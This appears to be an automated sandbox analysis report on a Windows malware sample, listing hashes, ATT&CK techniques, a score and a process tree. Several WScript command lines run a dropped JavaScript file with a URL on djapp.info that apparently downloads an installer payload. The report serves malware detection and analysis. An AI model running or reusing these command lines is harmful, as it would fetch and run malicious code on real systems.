a979083cef3027dc433692c7f52e943b6bcc2842acc0bab091b618fc404b1b44

General

Target

6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe
Size

184KB
MD5

6c602db62d206aa13e39dcffee67d404
SHA1

7442eea98042ca510c163db659238277982f698e
SHA256

a979083cef3027dc433692c7f52e943b6bcc2842acc0bab091b618fc404b1b44
SHA512

7f1df756497bd9923a617593736b43adf012b38476ca8628bacbcc4023724612bf61804b4d45e9a9c7bd6485a8c272a9a47bd09e49cefa8057def6ab2929feb7
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3I:/7BSH8zUB+nGESaaRvoB7FJNndn1

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
5	1064	WScript.exe
34	2108	WScript.exe
39	2428	WScript.exe
55	2988	WScript.exe
56	2988	WScript.exe
62	4596	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1712	3200	WerFault.exe	83

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3200 wrote to memory of 1064	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	84
PID 3200 wrote to memory of 1064	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	84
PID 3200 wrote to memory of 1064	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	84
PID 3200 wrote to memory of 2108	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	94
PID 3200 wrote to memory of 2108	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	94
PID 3200 wrote to memory of 2108	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	94
PID 3200 wrote to memory of 2428	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	98
PID 3200 wrote to memory of 2428	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	98
PID 3200 wrote to memory of 2428	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	98
PID 3200 wrote to memory of 2988	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	100
PID 3200 wrote to memory of 2988	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	100
PID 3200 wrote to memory of 2988	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	100
PID 3200 wrote to memory of 4596	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	102
PID 3200 wrote to memory of 4596	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	102
PID 3200 wrote to memory of 4596	3200	6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe	102

C:\Users\Admin\AppData\Local\Temp\6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\6c602db62d206aa13e39dcffee67d404_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3200
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf43C0.js" http://www.djapp.info/?domain=ipEsBoWrYM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf43C0.exe
  2⤵
  - Blocklisted process makes network request
  PID:1064
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf43C0.js" http://www.djapp.info/?domain=ipEsBoWrYM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf43C0.exe
  2⤵
  - Blocklisted process makes network request
  PID:2108
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf43C0.js" http://www.djapp.info/?domain=ipEsBoWrYM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf43C0.exe
  2⤵
  - Blocklisted process makes network request
  PID:2428
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf43C0.js" http://www.djapp.info/?domain=ipEsBoWrYM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf43C0.exe
  2⤵
  - Blocklisted process makes network request
  PID:2988
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf43C0.js" http://www.djapp.info/?domain=ipEsBoWrYM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf43C0.exe
  2⤵
  - Blocklisted process makes network request
  PID:4596
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3200 -s 1456
  2⤵
  - Program crash
  PID:1712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 3200 -ip 3200
1⤵
PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf43C0.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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